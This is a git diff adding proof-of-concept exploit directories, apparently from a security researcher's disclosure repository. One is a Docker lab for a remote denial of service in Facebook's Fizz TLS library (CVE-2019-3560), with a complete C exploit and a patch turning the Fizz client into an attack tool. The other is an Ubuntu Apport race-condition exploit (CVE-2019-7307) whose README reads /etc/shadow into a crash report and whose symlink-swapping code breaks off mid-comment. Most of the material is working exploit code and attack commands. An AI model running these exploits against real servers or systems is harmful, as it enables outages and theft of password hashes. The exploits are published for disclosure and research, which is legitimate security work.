diff --git a/Facebook/Fizz/CVE-2019-3560/README.md b/Facebook/Fizz/CVE-2019-3560/README.md new file mode 100644 index 0000000..60c81c3 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/README.md @@ -0,0 +1,80 @@ +# Remote DOS in Facebook Fizz (CVE-2019-3560) + +[Fizz](https://github.com/facebookincubator/fizz) contains a remotely triggerable infinite loop. It is due to an integer overflow in this [compound assignment](https://github.com/facebookincubator/fizz/blob/eaa81af854bef509c3c1d7c83df0cd0b084a0fef/fizz/record/PlaintextRecordLayer.cpp#L42). For more details about the bug, see this [blog post](https://lgtm.com/blog/facebook_fizz_CVE-2019-3560). + +The scenario for the demo is that there are two computers, named "fizz-server" and "fizz-attacker". The attacker sends a malicious message which triggers an infinite loop on the server. The demo uses [docker](https://www.docker.com/) to simulate the two computers. See below for instructions. + +## Network setup + +Create a docker network bridge, to simulate a network with two separate computers. + +``` +docker network create -d bridge --subnet 172.18.0.0/16 fizz-demo-network +``` + +## Server setup + +Build the docker image: + +``` +docker build server -t fizz-server --build-arg UID=`id -u` +``` + +Start the container: + +``` +docker run --rm --network fizz-demo-network --ip=172.18.0.10 -i -t fizz-server +``` + +If you want to be able to debug the fizz server, then you need to start the container with some extra command line arguments: + +``` +docker run --rm --network fizz-demo-network --ip=172.18.0.10 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -i -t fizz-server +``` + +Inside the container, run this script to create some certs: + +``` +cd ~/certs +./create-certs.sh +``` + +Start the server: + +``` +~/fizz/build_/bin/fizz server -accept 1443 -cert ~/certs/server-cert.pem -key ~/certs/server-key.pem +``` + +Note: TLS servers normally listen on port 443, rather than 1443. But root privileges are required to listen on 443, so you need to run the above command with `sudo` if you want to change the port number to 443. The `sudo` password in this docker container is "x". + +## Attacker setup + +Build the docker image: + +``` +docker build attacker -t fizz-attacker --build-arg UID=`id -u` +``` + +Start the container: + +``` +docker run --rm --network fizz-demo-network --ip=172.18.0.11 -i -t fizz-attacker +``` + +Send the malicious message to the server: + +``` +./poc/poc 172.18.0.10 1443 +``` + +The source code for the PoC can be found in `poc.c`. + +### Original PoC + +The original PoC, which I sent to Facebook when I first reported the vulnerability, is far less polished than `poc.c`, above. But it may be of interest because it shows how I tweaked the Fizz client to send the malicious message. The changes which I made can be found in `diff.txt`. (These changes were already applied during the `docker build` step, above.) You can run this version of the PoC like this: + +``` +~/fizz/build_/bin/fizz client -connect 172.18.0.10:1443 +``` + +This command will not return because it is waiting for a response from the server, which will never come. But you can just ctrl-C it, and the server will continue to be stuck in an infinite loop. diff --git a/Facebook/Fizz/CVE-2019-3560/attacker/Dockerfile b/Facebook/Fizz/CVE-2019-3560/attacker/Dockerfile new file mode 100644 index 0000000..641f8f2 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/attacker/Dockerfile @@ -0,0 +1,58 @@ +FROM ubuntu:bionic + +RUN apt-get update && \ + apt-get install -y \ + sudo tmux screen emacs git gdb net-tools g++ cmake \ + libboost-all-dev libevent-dev libdouble-conversion-dev \ + libgoogle-glog-dev libgflags-dev libiberty-dev liblz4-dev \ + liblzma-dev libsnappy-dev make zlib1g-dev binutils-dev \ + libjemalloc-dev libssl-dev pkg-config libsodium-dev + +ARG UID=1000 + +# Create a non-root user account to run Fizz. +RUN adduser attacker --disabled-password --uid $UID + +# Grant the 'attacker' user sudo access. This is not used for the +# demo, but it is often handy for installing extra packages. +RUN adduser attacker sudo +RUN echo "attacker:x" | chpasswd +COPY home/ /home/attacker/ +RUN chown -R attacker:attacker /home/attacker + +# Switch over to the 'attacker' user, since root access is no longer required +USER attacker +WORKDIR /home/attacker + +# Build the PoC +RUN cd poc && make + +# The original PoC used a modified version of Fizz. So we need to +# clone and build Folly, which Fizz depends on. +RUN git clone https://github.com/facebook/folly && \ + cd folly && \ + git checkout df5a0575d95f3c2cc9200b15e40db4af82e1f2eb && \ + mkdir build_ && cd build_ && \ + cmake .. && \ + make -j $(nproc) + +# Install Folly. +USER root +RUN cd /home/attacker/folly/build_ && make install +USER attacker + +# Build the original PoC, which I sent to Facebook when I first +# reported the vulnerability. It is a modified version of Fizz. (Note +# the `git apply` immediately after the `git checkout`.) +RUN git clone https://github.com/facebookincubator/fizz && \ + cd fizz && \ + git checkout eaa81af854bef509c3c1d7c83df0cd0b084a0fef && \ + git apply ~/diff.txt && \ + mkdir build_ && cd build_ && \ + cmake ../fizz && \ + make -j $(nproc) + +# Install modified Fizz. +USER root +RUN cd /home/attacker/fizz/build_ && make install +USER attacker diff --git a/Facebook/Fizz/CVE-2019-3560/attacker/home/diff.txt b/Facebook/Fizz/CVE-2019-3560/attacker/home/diff.txt new file mode 100644 index 0000000..5138ec4 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/attacker/home/diff.txt @@ -0,0 +1,75 @@ +diff --git a/fizz/client/ClientProtocol.cpp b/fizz/client/ClientProtocol.cpp +index 8804de7..82bdbbd 100644 +--- a/fizz/client/ClientProtocol.cpp ++++ b/fizz/client/ClientProtocol.cpp +@@ -450,7 +450,7 @@ static ClientHello getClientHello( + chlo.extensions.push_back(encodeExtension(std::move(modes))); + } + +- if (earlyDataParams) { ++ if (true || earlyDataParams) { + chlo.extensions.push_back(encodeExtension(ClientEarlyData())); + } + +@@ -1186,6 +1186,8 @@ Actions EventHandler< + } else { + encodedClientHello = encodeHandshake(std::move(chlo)); + handshakeContext->appendToTranscript(encodedClientHello); ++ encodedClientHello->reserve(0, 0x11000); ++ encodedClientHello->append(0x11000); + } + + auto earlyDataType = state.earlyDataType() == EarlyDataType::Attempted +@@ -1194,7 +1196,7 @@ Actions EventHandler< + + WriteToSocket clientFlight; + auto chloWrite = +- state.writeRecordLayer()->writeHandshake(encodedClientHello->clone()); ++ state.writeRecordLayer()->writeAppData(encodedClientHello->clone()); + + bool sentCCS = state.sentCCS(); + folly::Optional ccsWrite; +diff --git a/fizz/client/FizzClientContext.h b/fizz/client/FizzClientContext.h +index 9def034..7508098 100644 +--- a/fizz/client/FizzClientContext.h ++++ b/fizz/client/FizzClientContext.h +@@ -220,7 +220,7 @@ class FizzClientContext { + SignatureScheme::rsa_pss_sha256}; + std::vector supportedGroups_ = {NamedGroup::x25519, + NamedGroup::secp256r1}; +- std::vector defaultShares_ = {NamedGroup::x25519}; ++ std::vector defaultShares_ = {NamedGroup::secp521r1}; + std::vector supportedPskModes_ = { + PskKeyExchangeMode::psk_dhe_ke, + PskKeyExchangeMode::psk_ke}; +diff --git a/fizz/record/PlaintextRecordLayer.cpp b/fizz/record/PlaintextRecordLayer.cpp +index e33ef9e..ce33252 100644 +--- a/fizz/record/PlaintextRecordLayer.cpp ++++ b/fizz/record/PlaintextRecordLayer.cpp +@@ -112,22 +112,24 @@ TLSContent PlaintextWriteRecordLayer::writeInitialClientHello( + TLSContent PlaintextWriteRecordLayer::write( + TLSMessage msg, + ProtocolVersion recordVersion) const { ++#if 0 + if (msg.type == ContentType::application_data) { + throw std::runtime_error("refusing to send plaintext application data"); + } ++#endif + + auto fragment = std::move(msg.fragment); + folly::io::Cursor cursor(fragment.get()); + std::unique_ptr data; + while (!cursor.isAtEnd()) { + Buf thisFragment; +- auto len = cursor.cloneAtMost(thisFragment, kMaxPlaintextRecordSize); ++ auto len = cursor.cloneAtMost(thisFragment, 0x20000); + + auto header = folly::IOBuf::create(kPlaintextHeaderSize); + folly::io::Appender appender(header.get(), kPlaintextHeaderSize); + appender.writeBE(static_cast(msg.type)); + appender.writeBE(static_cast(recordVersion)); +- appender.writeBE(len); ++ appender.writeBE(len < 0x1000 ? len : 0x10000-kPlaintextHeaderSize); + + if (!data) { + data = std::move(header); diff --git a/Facebook/Fizz/CVE-2019-3560/attacker/home/poc/Makefile b/Facebook/Fizz/CVE-2019-3560/attacker/home/poc/Makefile new file mode 100644 index 0000000..340c4a5 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/attacker/home/poc/Makefile @@ -0,0 +1,2 @@ +poc: poc.c + gcc -o poc poc.c diff --git a/Facebook/Fizz/CVE-2019-3560/attacker/home/poc/poc.c b/Facebook/Fizz/CVE-2019-3560/attacker/home/poc/poc.c new file mode 100644 index 0000000..d0d5c7b --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/attacker/home/poc/poc.c @@ -0,0 +1,327 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// Open a socket to the provided server:port combination. Returns the +// socket number of success, -1 on failure. +int connectToUrl(const char* server, const char* port) { + struct addrinfo hints; + memset(&hints, 0, sizeof(struct addrinfo)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_flags = 0; + hints.ai_protocol = 0; + + struct addrinfo *result; + const int err = getaddrinfo(server, port, &hints, &result); + if (err != 0) { + fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(err)); + return 1; + } + + struct addrinfo *rp; + for (rp = result; rp != NULL; rp = rp->ai_next) { + const int s = socket(rp->ai_family, rp->ai_socktype, rp->ai_protocol); + if (s < 0) { + continue; + } + + if (connect(s, rp->ai_addr, rp->ai_addrlen) != -1) { + freeaddrinfo(result); + return s; + } + + close(s); + } + + freeaddrinfo(result); + return -1; +} + +// Write a uint8_t to starting address &buf[offset]. Return the updated +// offset. +size_t writeUint8(char* buf, size_t offset, uint8_t x) { + buf[offset++] = x; + return offset; +} + +// Write a uint16_t to starting address &buf[offset] (in big endian +// order). Return the updated offset. +size_t writeUint16(char* buf, size_t offset, uint16_t x) { + buf[offset++] = (x >> 8) & 0xFF; + buf[offset++] = x & 0xFF; + return offset; +} + +// Write a uint24_t to starting address &buf[offset] (in big endian +// order). Return the updated offset. +size_t writeUint24(char* buf, size_t offset, uint32_t x) { + buf[offset++] = (x >> 16) & 0xFF; + buf[offset++] = (x >> 8) & 0xFF; + buf[offset++] = x & 0xFF; + return offset; +} + +// Write a block of bytes to starting address &buf[offset]. Return the +// updated offset. +size_t writeMany(char* buf, size_t offset, uint8_t x, size_t n) { + memset(&buf[offset], x, n); + return offset + n; +} + +// Write a string to starting address &buf[offset]. Return the +// updated offset. +size_t writeString(char* buf, size_t offset, const char* str, size_t n) { + memcpy(&buf[offset], str, n); + return offset + n; +} + +// Write the complete payload to the buffer. Return the length. +size_t writePayload(char* buf, const char* server, size_t serverlen) { + size_t n = 0; // Used to keep track of current offset in the buffer. + + n = writeUint8(buf, n, 0x16); // ContentType::handshake + n = writeUint16(buf, n, 0x0301); // fizz::ProtocolVersion::tls_1_0 + + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + // ReadRecordLayer::decodeHandshakeMessage + n = writeUint8(buf, n, 0x01); // handshakeType = fizz::HandshakeType::client_hello + + { + const size_t start = n; // Length will be written here at end of block. + n += 3; + + // ClientHello decode() fizz/record/Types-inl.h:527 + n = writeUint16(buf, n, 0x0303); // chlo.legacy_version = fizz::ProtocolVersion::tls_1_2 + n = writeMany(buf, n, 0xcd, 32); // chlo.random + + n = writeUint8(buf, n, 0); // Length of chlo.legacy_session_id array + + n = writeUint16(buf, n, 6); // Length of chlo.cipher_suites + n = writeUint16(buf, n, 0x1301); + n = writeUint16(buf, n, 0x1302); + n = writeUint16(buf, n, 0x1303); + + n = writeUint8(buf, n, 1); // Length of chlo.legacy_compression_methods + n = writeUint8(buf, n, 0); + + // chlo.extensions + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + // SupportedVersions + n = writeUint16(buf, n, 0x2b); // fizz::ExtensionType::supported_versions + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + { + const size_t start = n; // Length will be written here at end of block. + n += 1; + + n = writeUint16(buf, n, 0x0304); // fizz::ProtocolVersion::tls_1_3 + n = writeUint16(buf, n, 0x7f1c); // fizz::ProtocolVersion::tls_1_3_28 + + writeUint8(buf, start, n-start-1); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + // SupportedGroups + n = writeUint16(buf, n, 0x0a); // fizz::ExtensionType::supported_groups + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + n = writeUint16(buf, n, 0x1d); // fizz::NamedGroup::x25519 + n = writeUint16(buf, n, 0x17); // fizz::NamedGroup::secp256r1 + + writeUint16(buf, start, n-start-2); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + // ClientKeyShare + n = writeUint16(buf, n, 0x33); // fizz::ExtensionType::key_share + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + n = writeUint16(buf, n, 0x19); // fizz::NamedGroup::secp521r1 + + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + n = writeMany(buf, n, 0xcd, 0x85); // Any size will work here. + + writeUint16(buf, start, n-start-2); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + // SignatureAlgorithms + n = writeUint16(buf, n, 0x0d); // fizz::ExtensionType::signature_algorithms + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + n = writeUint16(buf, n, 0x0403); // fizz::SignatureScheme::ecdsa_secp256r1_sha256 + n = writeUint16(buf, n, 0x0804); // fizz::SignatureScheme::rsa_pss_sha256 + + writeUint16(buf, start, n-start-2); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + // ServerName + n = writeUint16(buf, n, 0); // fizz::ExtensionType::server_name + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + n = writeUint8(buf, n, 0); // fizz::ServerNameType::host_name + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + n = writeString(buf, n, server, serverlen); + + writeUint16(buf, start, n-start-2); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + // PskKeyExchangeModes + n = writeUint16(buf, n, 0x2d); // fizz::ExtensionType::psk_key_exchange_modes + { + const size_t start = n; // Length will be written here at end of block. + n += 2; + + { + const size_t start = n; // Length will be written here at end of block. + n += 1; + + n = writeUint8(buf, n, 1); // psk_dhe_ke + n = writeUint8(buf, n, 0); // psk_ke + + writeUint8(buf, start, n-start-1); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + // ClientEarlyData + n = writeUint16(buf, n, 0x2a); // fizz::ExtensionType::early_data + n = writeUint16(buf, n, 0); // Length of ClientEarlyData + + writeUint16(buf, start, n-start-2); // Length + } + + writeUint24(buf, start, n-start-3); // Length + } + + writeUint16(buf, start, n-start-2); // Length + } + + n = writeUint8(buf, n, 0x17); // ContentType::handshake + n = writeUint16(buf, n, 0x0303); // fizz::ProtocolVersion::tls_1_3 + n = writeUint16(buf, n, 0xfffb); // length (malicious) + + // The infinite loop doesn't start until will we deliver 16KB of data. + // The contents don't matter though, so we send zeros. + n = writeMany(buf, n, 0x00, 0x10000); + + return n; +} + +int main(int argc, char *argv[]) +{ + // Check the command line arguments. + if (argc != 3) { + fprintf(stderr, "Usage: %s host port\n", argc > 0 ? argv[0] : "poc"); + exit(1); + } + + const char* server = argv[1]; + const char* port = argv[2]; + size_t serverlen = strlen(argv[1]); + if (serverlen > 0x1000) { + fprintf( + stderr, + "Server name has 0x%lx characters. Maximum allowed: 0x1000.\n", + serverlen + ); + } + + // Create the payload. + char buf[0x20000]; + const size_t n = writePayload(buf, server, serverlen); + assert(n <= sizeof(buf)); + + // Connect to the server. + const int s = connectToUrl(server, port); + if (s < 0) { + fprintf(stderr, "Could not connect\n"); + return 1; + } + + // Send the payload. + const ssize_t nw = write(s, buf, n); + + // Check for errors. + if (nw != n) { + if (nw < 0) { + const int err = errno; + fprintf(stderr, "Send failed: %s\n", strerror(err)); + return 1; + } else { + fprintf( + stderr, + "Failed to send complete payload: sent %ld out of %ld.\n", + nw, + n + ); + return 1; + } + } + + return 0; +} diff --git a/Facebook/Fizz/CVE-2019-3560/server/Dockerfile b/Facebook/Fizz/CVE-2019-3560/server/Dockerfile new file mode 100644 index 0000000..f31c2e8 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/server/Dockerfile @@ -0,0 +1,51 @@ +FROM ubuntu:bionic + +RUN apt-get update && \ + apt-get install -y \ + sudo tmux screen emacs git gdb net-tools g++ cmake \ + libboost-all-dev libevent-dev libdouble-conversion-dev \ + libgoogle-glog-dev libgflags-dev libiberty-dev liblz4-dev \ + liblzma-dev libsnappy-dev make zlib1g-dev binutils-dev \ + libjemalloc-dev libssl-dev pkg-config libsodium-dev + +ARG UID=1000 + +# Create a non-root user account to run Fizz. +RUN adduser victim --disabled-password --uid $UID + +# Grant the 'victim' user sudo access. This is not used for the demo, +# but it is often handy for installing extra packages. +RUN adduser victim sudo +RUN echo "victim:x" | chpasswd +COPY home/ /home/victim/ +RUN chown -R victim:victim /home/victim + +# Switch over to the 'victim' user, since root access is no longer required +USER victim +WORKDIR /home/victim + +# Clone and build Folly, which Fizz depends on. +RUN git clone https://github.com/facebook/folly && \ + cd folly && \ + git checkout df5a0575d95f3c2cc9200b15e40db4af82e1f2eb && \ + mkdir build_ && cd build_ && \ + cmake .. && \ + make -j $(nproc) + +# Install Folly. +USER root +RUN cd /home/victim/folly/build_ && make install +USER victim + +# Clone and build Fizz. +RUN git clone https://github.com/facebookincubator/fizz && \ + cd fizz && \ + git checkout eaa81af854bef509c3c1d7c83df0cd0b084a0fef && \ + mkdir build_ && cd build_ && \ + cmake ../fizz && \ + make -j $(nproc) + +# Install Fizz. +USER root +RUN cd /home/victim/fizz/build_ && make install +USER victim diff --git a/Facebook/Fizz/CVE-2019-3560/server/home/certs/ca.config b/Facebook/Fizz/CVE-2019-3560/server/home/certs/ca.config new file mode 100644 index 0000000..76a97d7 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/server/home/certs/ca.config @@ -0,0 +1,46 @@ +[ req ] +default_bits = 2048 +distinguished_name = dn +x509_extensions = san +req_extensions = san +extensions = san +prompt = no + +[ ca ] +default_ca = ca_default + +[ ca_default ] +private_key = root-ca-key.pem +certificate = root-ca.pem +new_certs_dir = new_certs +database = root-ca.index +default_md = sha256 +serial = root-ca.serial +email_in_dn = no +default_days = 365 +policy = policy + +[ policy ] +countryName = optional +stateOrProvinceName = optional +localityName = optional +organizationName = optional +organizationalUnitName = optional +commonName = supplied + +[ dn ] +countryName = US +stateOrProvinceName = CA +localityName = San Francisco +organizationName = Wholesome Certifications Inc. +commonName = wholesomecertifications.com +emailAddress = webmaster@wholesomecertifications.com + +[ san ] +basicConstraints = CA:TRUE +subjectAltName = @alt_names +subjectKeyIdentifier = hash + +[ alt_names ] +DNS.1 = *.wholesomecertifications.com +DNS.2 = *.wholesomecerts.com diff --git a/Facebook/Fizz/CVE-2019-3560/server/home/certs/clean.sh b/Facebook/Fizz/CVE-2019-3560/server/home/certs/clean.sh new file mode 100755 index 0000000..a06e0b4 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/server/home/certs/clean.sh @@ -0,0 +1,9 @@ +#!/bin/bash + +# Delete all auto-generated files. + +rm -f *~ +rm -rf new_certs +rm -f root-ca* +rm -f server-*.pem +rm -f client-*.pem diff --git a/Facebook/Fizz/CVE-2019-3560/server/home/certs/create-certs.sh b/Facebook/Fizz/CVE-2019-3560/server/home/certs/create-certs.sh new file mode 100755 index 0000000..af8bc55 --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/server/home/certs/create-certs.sh @@ -0,0 +1,18 @@ +#!/bin/bash + +mkdir new_certs +touch root-ca.index +touch root-ca.index.attr +echo 00 > root-ca.crlnum +openssl rand -hex 16 > root-ca.serial + +# create self-signed certificate +openssl req -config ca.config -new -x509 -sha256 -newkey rsa:2048 -nodes \ + -keyout root-ca-key.pem -days 365 -out root-ca.pem + +# Create signing request for the server +openssl req -config server.config -new -sha256 -newkey rsa:2048 -nodes \ + -keyout server-key.pem -days 365 -out server-request.pem + +# Create signed certificate for the server +openssl ca -config server.config -batch -days 365 -extensions server_ext -out server-cert.pem -infiles server-request.pem diff --git a/Facebook/Fizz/CVE-2019-3560/server/home/certs/server.config b/Facebook/Fizz/CVE-2019-3560/server/home/certs/server.config new file mode 100644 index 0000000..03d5edc --- /dev/null +++ b/Facebook/Fizz/CVE-2019-3560/server/home/certs/server.config @@ -0,0 +1,45 @@ +[ req ] +default_bits = 2048 +distinguished_name = dn +x509_extensions = server_ext +req_extensions = server_ext +extensions = server_ext +prompt = no + +[ ca ] +default_ca = ca_default + +[ ca_default ] +private_key = root-ca-key.pem +certificate = root-ca.pem +new_certs_dir = new_certs +database = root-ca.index +default_md = sha256 +serial = root-ca.serial +email_in_dn = no +default_days = 365 +policy = policy + +[ policy ] +countryName = optional +stateOrProvinceName = optional +localityName = optional +organizationName = optional +organizationalUnitName = optional +commonName = supplied + +[ dn ] +countryName = US +stateOrProvinceName = CA +localityName = San Francisco +organizationName = Wholesome Computing Inc. +commonName = server.wholesomecomputing.com +emailAddress = webmaster@wholesomecomputing.com + +[ server_ext ] +basicConstraints = CA:FALSE +subjectAltName = @alt_names +subjectKeyIdentifier = hash + +[ alt_names ] +DNS.1 = *.wholesomecomputing.com diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/.gitignore b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/.gitignore new file mode 100644 index 0000000..77fd212 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/.gitignore @@ -0,0 +1,2 @@ +gencrashreport +killwhoopsie1 diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/Makefile b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/Makefile new file mode 100644 index 0000000..adae904 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/Makefile @@ -0,0 +1,10 @@ +all: gencrashreport killwhoopsie1 + +gencrashreport: gencrashreport.cpp utils.cpp + g++ -Wall -O2 gencrashreport.cpp utils.cpp -o gencrashreport + +killwhoopsie1: killwhoopsie1.cpp utils.cpp + g++ -Wall -O2 killwhoopsie1.cpp utils.cpp -o killwhoopsie1 + +clean: + rm -f gencrashreport killwhoopsie1 diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/README.md b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/README.md new file mode 100644 index 0000000..27d2361 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/README.md @@ -0,0 +1,51 @@ +# Ubuntu Apport TOCTOU (CVE-2019-7307) and whoopsie heap buffer overflow (CVE-2019-11476) + +This directory contains proof-of-concept exploits for vulnerabilities in Ubuntu's crash reporting system: + +* [CVE-2019-7307](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-7307) is a time-of-check to time-of-use (TOCTOU) vulnerability in Apport, which enables an unprivileged local user to trick Apport into including the contents of an arbitrary file in a crash report. The full bug report is public on [bugs.launchpad.net](https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1830858). +* [CVE-2019-11476](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11476) is a denial of service vulnerability. An integer overflow when reading large crash dumps (> 4GB) leads to a heap buffer overflow. I do not believe it is possible to exploit this heap buffer overflow to achieve code execution, so I have classified this bug as a denial of service. The full bug report is public on [bugs.launchpad.net](https://bugs.launchpad.net/ubuntu/+source/whoopsie/+bug/1830863). + +## Instructions + +I usually try to provide a `Dockerfile` so that my PoCs are safely reproducible on a patched system. Unfortunately, Apport is specifically designed to behave differently inside a container, so I am not able to do so this time. Instead, if you would like to test the exploit, then you will need to revert the bug fix in your Apport installation. You can do that as follows: + +``` +git clone https://git.launchpad.net/ubuntu/+source/apport +cd apport +git checkout applied/2.20.9-0ubuntu7.6 +sudo cp apport/report.py /usr/lib/python3/dist-packages/apport/report.py +``` + +When you are done, don't forget to fix your installation: + +``` +sudo apt-get install --reinstall python3-apport +``` + +Build the PoC for Apport CVE-2019-7307 like this: + +``` +make +``` + +And run it like this: + +``` +./gencrashreport /etc/shadow +``` + +This will create a file named `/var/crash/_usr_share_apport_apport.0.crash`, which is owned by `root`, but also readable by `whoopsie`. For a full exploit chain, we would therefore also need a second exploit that enables us to read files as whoopsie. But since we don't have that yet, we need to change the permissions of the crash report: + +``` +sudo chmod 666 /var/crash/_usr_share_apport_apport.0.crash +``` + +At this point, you can unpack the crash report and see that the contents of `/etc/shadow` are embedded in the `CoreDump` file: + +``` +mkdir report +apport-unpack /var/crash/_usr_share_apport_apport.0.crash report +cd report +``` + +Note: `apport-unpack` is a bit flaky and usually crashes with an error message like this: `['ProcEnviron', 'UserGroups'] has no binary content`. But it works well enough to extract the core dump from the report. Now use your favorite text editor to open `CoreDump` and search for the contents of `/etc/password`. Searching for the string "root:" usually works. diff --git a/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/gencrashreport.cpp b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/gencrashreport.cpp new file mode 100644 index 0000000..ab64c35 --- /dev/null +++ b/Ubuntu/Apport_TOCTOU_get_ignore_dom_CVE-2019-7307/gencrashreport.cpp @@ -0,0 +1,351 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "utils.hpp" + +// Names of special files. +const char* var_crash_ = "/var/crash"; +const char* lock_path_ = "/var/crash/.lock"; +const char* lock_bak_path_ = "/var/crash/.lock.bak"; +const char* var_crash_bin_sleep_prefix_ = "/var/crash/_bin_sleep."; +const char* dotcrash_ = ".crash"; +const char* apport_ignore_name_ = ".apport-ignore.xml"; +const char* apport_ignore_bak_name_ = ".apport-ignore.xml.bak"; +const char* expatbuilder_cpython_ = + "/usr/lib/python3.6/xml/dom/__pycache__/expatbuilder.cpython-36.pyc"; +const char apport_cmdline[] = "/usr/bin/python3\0/usr/share/apport/apport"; + +// Search `/proc/*/cmdline` to find the PID of Apport. +pid_t get_apport_pid() { + const pid_t apport_pid = + search_pid(apport_cmdline, sizeof(apport_cmdline)); + if (apport_pid < 0) { + throw Error("Could not find apport PID."); + } + return apport_pid; +} + +// Main class for triggering Apport. +class TriggerApportMain { + const char* const targetfile_; // Forbidden file that we want to read. + const AutoCloseFD homedir_fd_; // File descriptor for $HOME + const AutoCloseFD listensock_; // TCP listening socket + const std::string apport_ignore_path_; // `$HOME/.apport-ignore.xml` + const std::string apport_ignore_bak_path_; // `$HOME/.apport-ignore.xml.bak` + const std::string corefile_path_; // `/var/crash/_bin_sleep..crash` + + pid_t spawn_child_process(); + void create_special_files(); + +public: + TriggerApportMain( + const char* targetfile, const char* homedir, const int homedir_fd, + const int listensock + ); + ~TriggerApportMain(); + + void run(); +}; + +TriggerApportMain::TriggerApportMain( + const char* targetfile, const char* homedir, const int homedir_fd, + const int listensock +) : targetfile_(targetfile) + , homedir_fd_(homedir_fd) + , listensock_(listensock) + , apport_ignore_path_(std::string(homedir) + "/" + apport_ignore_name_) + , apport_ignore_bak_path_(std::string(homedir) + "/" + apport_ignore_bak_name_) + , corefile_path_(std::string(var_crash_bin_sleep_prefix_) + + std::to_string(getuid()) + + dotcrash_) +{ +} + +TriggerApportMain::~TriggerApportMain() { + // Clean up all the files. If everything worked as expected then the + // ".bak" files should already be gone, but we try to remove them anyway + // just in case something went wrong. + unlinkat(homedir_fd_.get(), apport_ignore_name_, 0); + unlinkat(homedir_fd_.get(), apport_ignore_bak_name_, 0); + unlinkat(AT_FDCWD, lock_path_, 0); + unlinkat(AT_FDCWD, lock_bak_path_, 0); + unlinkat(AT_FDCWD, corefile_path_.c_str(), 0); +} + +// Create a file named `~/.apport-ignore.xml` and a symlink named +// `.apport-ignore.xml.bak`. The first file is just a temporary file which +// we will use to bypass a file permission check: Apport calls +// `os.access()` to check that we have permission to read +// `~/.apport-ignore.xml`. The second file is a symlink which points to the +// file that we really want to read (but don't have permission to). So we +// will replace the first file with the symlink immediately after the +// `os.access()` has happened. But we create both files in advance so that +// the switcheroo can be done as quickly as possible (with a rename +// syscall). +void TriggerApportMain::create_special_files() { + // Try to create `/var/crash/.lock` first, because if it fails then the + // entire exploit isn't going to work. + AutoCloseFD lockfile_fd( + create_file( + AT_FDCWD, lock_path_, S_IRWXU | S_IRWXG | S_IRWXO + ) + ); + + // Create `/var/crash/.lock.bak`. It will replace `/var/crash/.lock` + // once Apport has started. + AutoCloseFD lockfile_bak_fd( + create_file( + AT_FDCWD, lock_bak_path_, S_IRWXU | S_IRWXG | S_IRWXO + ) + ); + + char bogustxt[] = "kevwozere"; + create_and_write_file( + homedir_fd_.get(), + apport_ignore_name_, + bogustxt, + sizeof(bogustxt), + S_IRUSR | S_IWUSR + ); + + createSymlink(targetfile_, homedir_fd_.get(), apport_ignore_bak_name_); +} + +// This where we exploit the TOCTOU vulnerability. This is the source +// location of the vulnerability: +// +// https://git.launchpad.net/ubuntu/+source/apport/tree/apport/report.py?h=applied/ubuntu/bionic-devel&id=2fc8fb446c78e950d643bf49bb7d4a0dc3b05429#n962 +// +// Apport allows the user to place a file in their home directory named +// `~/.apport-ignore.xml`. The call to os.access() on line 962 is intended +// to check that this file belongs to the correct user. But on line 967, +// the file is read again using xml.dom.minidom.parse. This creates a +// window of opportunity for an attacker to replace the file with a +// symlink. The symlink does not need to point to a valid XML file, because +// there is a try-except around the call to the parser, so if the file is +// invalid then Apport just ignores it and continues. However, the contents +// of the file still ends up in Apport's heap. +// +// I used `sudo strace -e file -tt -p ` to discover that +// `expatbuilder.cpython-36.pyc` is opened immediately before +// `.apport-ignore.xml` is parsed. So we can use inotify to watch +// `expatbuilder.cpython-36.pyc` and replace 